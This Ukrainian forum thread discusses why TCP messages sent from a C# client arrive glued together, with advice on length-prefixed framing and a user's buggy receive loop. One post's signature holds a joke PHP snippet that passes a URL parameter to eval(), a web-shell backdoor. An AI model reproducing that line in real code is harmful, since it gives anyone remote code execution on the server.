1

Тема: TCP, як треба приймати дані? Бо в мене вони склеюються

Хаі. Значить, використовуючи асинхронний метод BeginReceive приймаю дані, до певного часу проблем не було, якщо я відправляв 20 байт, то надходило 20 байт, але якщо передавати дані дуже швидко, то іноді вони склеюються. Наприклад, я відправив 20 байт, і після цього ще 5 байт, а на сервері пише, що прийшло 25 байт. Кожний масив байт, котрий я передаю, являє собою клас (де/серіалізація за допомогою Protobuf), тому дуже важливо правильно десереалізувати їх на сервері.
Так от, як зробити так, щоб з купи байтів, котрі прийшли на сервер, можна було б розібрати, що ось цей шматок байтів, це такий-то клас, а той - такий-то?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

2 Востаннє редагувалося 0xDADA11C7 (04.04.2014 15:00:32)

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Ну так додайте в структуру її розмір/ідентифікатор наприклад в першому байті. Наприклад прийшло 2 структури в одному пакунку - 20 і 25 байт = 45 байт. Подивились перший байт ідентифікатора - обробили структуру. А наступна структура почнеться вже з 21 байту.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Chemist-i1

3

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

0xDADA11C7 написав:

Ну так додайте в структуру її розмір/ідентифікатор наприклад в першому байті. Наприклад прийшло 2 структури в одному пакунку - 20 і 25 байт = 45 байт. Подивились перший байт ідентифікатора - обробили структуру. А наступна структура почнеться вже з 21 байту.

в мене не структура, а клас, і дивіться, яка проблема. Десереалізувати я можу лише один клас, ну типу, якщо є 20 байт, і це один клас, то я беру ці 20 байт и десереалізовую в клас, але якщо в мене 45 байт, і тут два класа, то я не можу жодний з класів десереалізувати, тому й довжину мені з них не витягти. Але чекайте, все ж таки, я використовую той Protobuf, може він там спершу дані сереалізує, а в кінець записує метадані, зараз перевірю

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

4

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

нєнєнє, той протобаф якийсь дуже дивний, він якось обробляє ті дані, тому що клас, в котрому є ініціалізоване поле типу int - важить 3 байта, але якщо тип поля змінити на float, то вже буде 5 байт.

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

5

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

offtopic
З поверненням.
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

6

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Прихований текст

Invader написав:
offtopic
З поверненням.

+1 С поверненням!

7

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Singularity написав:
Прихований текст

Invader написав:
offtopic
З поверненням.

+1 С поверненням!

Прихований текст
дякую
All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

8

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Протокол TCP не гарантує, що дані не склеяться, або не надійдуть шматками. Ваша програма має це враховувати. Тому, перед передачею даних чергового класу, треба передавати їх розмір.

9

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Протокол TCP не гарантує, що дані не склеяться

А UDP не гарантує що дані дійдуть і їхню послідовність :D

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

10

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

TCP за визначенням розроблений, щоб передавати потік, а не пакети. Пакети - це просто засіб для передачі потоку (а файли зберігаються в кластерах, хоча їх теж можна як поток обробляти).

11

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Torbins написав:

Протокол TCP не гарантує, що дані не склеяться, або не надійдуть шматками. Ваша програма має це враховувати. Тому, перед передачею даних чергового класу, треба передавати їх розмір.

шматками - це як? типу я пишу

byte[] buff = new byte[20];
socket.Send(buff);

і на сервер приходить спочатку 5, а потім 15 байт, наприклад?
ось метод відправки даних

private static void Send_1(ClientData data)
    {
        try
        {
            MemoryStream memoryStream = new MemoryStream();
            Serializer.Serialize(memoryStream, data);
 
            client.bufferSend = new byte[memoryStream.ToArray().Length+2];
            BitConverter.GetBytes((ushort)client.bufferSend.Length-2).CopyTo(client.bufferSend,0);
            memoryStream.ToArray().CopyTo(client.bufferSend,2);
 
            client.socket.BeginSend(client.bufferSend, 0, client.bufferSend.Length, SocketFlags.None, //отправка данных
                new AsyncCallback(SendCallback), client);
 
            Debug.Log("sent: " + client.bufferSend.Length + " bytes");
 
        }
        catch (Exception e)
        {
            Debug.LogWarning(e.Message);
        }
    }

а ось їхнє прийняття, працює файно, і помилок ніяких поки що немає

private void ReceiveCallback(IAsyncResult result)
        {
            try
            {
                Client client = (Client) result.AsyncState;
                int nBytes = client.socket.EndReceive(result);
                SystemMessage("Received: " + nBytes + " bytes");
 
                if (nBytes > 0)
                {
                        lock (clients)
                        {
                            int fullLength = 0, dataLength = 0;
                            int startIndex = 0;
                            do
                            {
                                dataLength = BitConverter.ToUInt16(client.bufferReceive, startIndex);
 
                                byte[] arr = new byte[dataLength];
                                Buffer.BlockCopy(client.bufferReceive, fullLength+2, arr, 0, dataLength);
                                ClientData command = Serializer.Deserialize<ClientData>(new MemoryStream(arr));
                                ServerData result1 = new SuperExecutor(clients, client, timer).Executor(command);
 
                                switch (result1.SendingMode())
                                {
                                    case SelectSending.SendToSelf:
                                        SendToSelf(client, result1);
                                        break;
                                    case SelectSending.SendToOthers:
                                        SendToOthers(client, result1);
                                        break;
                                    case SelectSending.SendToClient:
                                        SendToClient(result1);
                                        break;
                                    case SelectSending.NoSend:
                                        break;
                                }
 
                                fullLength += dataLength + 2;
                                startIndex += fullLength;
 
                            } while (fullLength < nBytes);
                        }
                    }
 
                if (nBytes == 0)
                {
                    client.socket.Close();
                    lock (clients)
                    {
                        clients.Remove(client);
                        SystemMessage("Client has been removed");
                    }
                }
                if(clients.Contains(client))
                client.socket.BeginReceive(client.bufferReceive, 0, client.bufferReceive.Length, SocketFlags.None,
                    new AsyncCallback(ReceiveCallback), client);
            }
            catch (SocketException e)
            {
                SystemMessage(e.Message + " ErrorCode: " + e.ErrorCode.ToString());
            }
            catch (Exception e)
            {
                SystemMessage(e.Message+" | ReceiveCallback");
            }
        }

Є якісь суперзауваження або негативні емоції?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

12

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

koala написав:

TCP за визначенням розроблений, щоб передавати потік, а не пакети. Пакети - це просто засіб для передачі потоку (а файли зберігаються в кластерах, хоча їх теж можна як поток обробляти).

да я то вже чув 100000 разів, пакетом я називаю отой масив байт, котрий передаю в метод Send :3

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

13 Востаннє редагувалося koala (05.04.2014 20:37:38)

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

FakiNyan написав:

шматками - це як? типу я пишу

byte[] buff = new byte[20];
socket.Send(buff);

і на сервер приходить спочатку 5, а потім 15 байт, наприклад?

Зокрема і таке можливе, принаймні, стандарт не забороняє. Хоча зазвичай мінімальний розмір пакету - кілька сотень байт чи навіть кілобайти.

14

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

koala написав:
FakiNyan написав:

шматками - це як? типу я пишу

byte[] buff = new byte[20];
socket.Send(buff);

і на сервер приходить спочатку 5, а потім 15 байт, наприклад?

Зокрема і таке можливе, принаймні, стандарт не забороняє. Хоча зазвичай мінімальний розмір пакету - кілька сотень байт чи навіть кілобайти.

ну я таких великих пакетів не відправляю, оці кілька сотень байт максимум, поки що.

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

15

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

FakiNyan написав:

ну я таких великих пакетів не відправляю, оці кілька сотень байт максимум, поки що.

Раджу на це не закладатися, бо при великих навантаженнях ваші повідомлення будуть злипатися по кілька штук на пакет, а шматочок останнього повідомлення, яке не влізло повністю, потрапить у наступний пакет. Тому вашому класу отримувачу повідомлень потрібен буфер, в якому зберігатимуться шматки повідомлень. Ну й на початку кожного повідомлення має бути його довжина.

16

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Я б усе реалізував як кільцевий буфер (голова з’єднана із хвостом, як в буфері клавіатури).

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

17

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Torbins написав:
FakiNyan написав:

ну я таких великих пакетів не відправляю, оці кілька сотень байт максимум, поки що.

Раджу на це не закладатися, бо при великих навантаженнях ваші повідомлення будуть злипатися по кілька штук на пакет, а шматочок останнього повідомлення, яке не влізло повністю, потрапить у наступний пакет. Тому вашому класу отримувачу повідомлень потрібен буфер, в якому зберігатимуться шматки повідомлень. Ну й на початку кожного повідомлення має бути його довжина.

щось те все дуже складно... Довжина в мене є, я ж там зкинув код метода, котрий відправляє. А якщо воно оце так може шматками надходити, то як мені дізнатися, який шматок до якого повідомлення відноситься?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

18

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

0xDADA11C7 написав:

Я б усе реалізував як кільцевий буфер (голова з’єднана із хвостом, як в буфері клавіатури).

Що?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

19

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

Такс... от і проблема... Коротше, якщо просто запускати сервер без всяких там брейкПоінтів, то все працює гарно, але коли я ставлю брейкПоінт і по одному кроку все там роблю, то от я бачу - клієнт каже:

  • відправлено 45 байт
    відправлено 45 байт
    відправлено 18 байт
    відправлено 39 байт

при цьому перші два байти тут - це розмір даних, тобто в 45 байтах перші два байта будуть мати значення 43

А на сервері пише;

  • прийнято 147 байт

ну це норм, тому що 45*2+39+18=147, і воно б мало почати розбирати ці 147 байт. Тобто воно бере перші 2 байта з 147 і вони мають мати значенни 43, після цього ми копіюємо дані з 2 по 43 байт і отримуємо дані першого повідомлення, ну а далі ми беремо слідуючі два байти тобто з 45 по 47, і так далі.. Але воно чомусь починає з кінця, тобто бере перші два байти і там довжина даних 37, тобто це останнє відправлене повідомлення повна довжина котрого 39. А далі вже якась дурня починається, воно пише, що довжина одного з наступних повідомлень 20 тисяч з копійками... І після цього вже вилазить повідомлення про помилку. Що тут не так? Чому в звичайному режимі роботи сервер працює нормально, а при "отладці" всілякі помилки вилазять?

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

20

Re: TCP, як треба приймати дані? Бо в мене вони склеюються

FakiNyan написав:

А якщо воно оце так може шматками надходити, то як мені дізнатися, який шматок до якого повідомлення відноситься?

Воно усе почергово буде надходити. Тобто повідомлення яке було відправлене раніше, прийде також раніше. Якщо ви отримали початок якогось повідомлення, то наступним прийде його кінець.

FakiNyan написав:

Але воно чомусь починає з кінця, тобто бере перші два байти і там довжина даних 37, тобто це останнє відправлене повідомлення повна довжина котрого 39. А далі вже якась дурня починається, воно пише, що довжина одного з наступних повідомлень 20 тисяч з копійками... І після цього вже вилазить повідомлення про помилку. Що тут не так? Чому в звичайному режимі роботи сервер працює нормально, а при "отладці" всілякі помилки вилазять?

Поставити програму на паузу, це найкращий спосіб протестувати розбір склеєних повідомлень. У вас тут очевидно бага.

Взагалі я майже на 100% впевнений, що у .Net є готові класи для надсилання окремих повідомлень по TCP.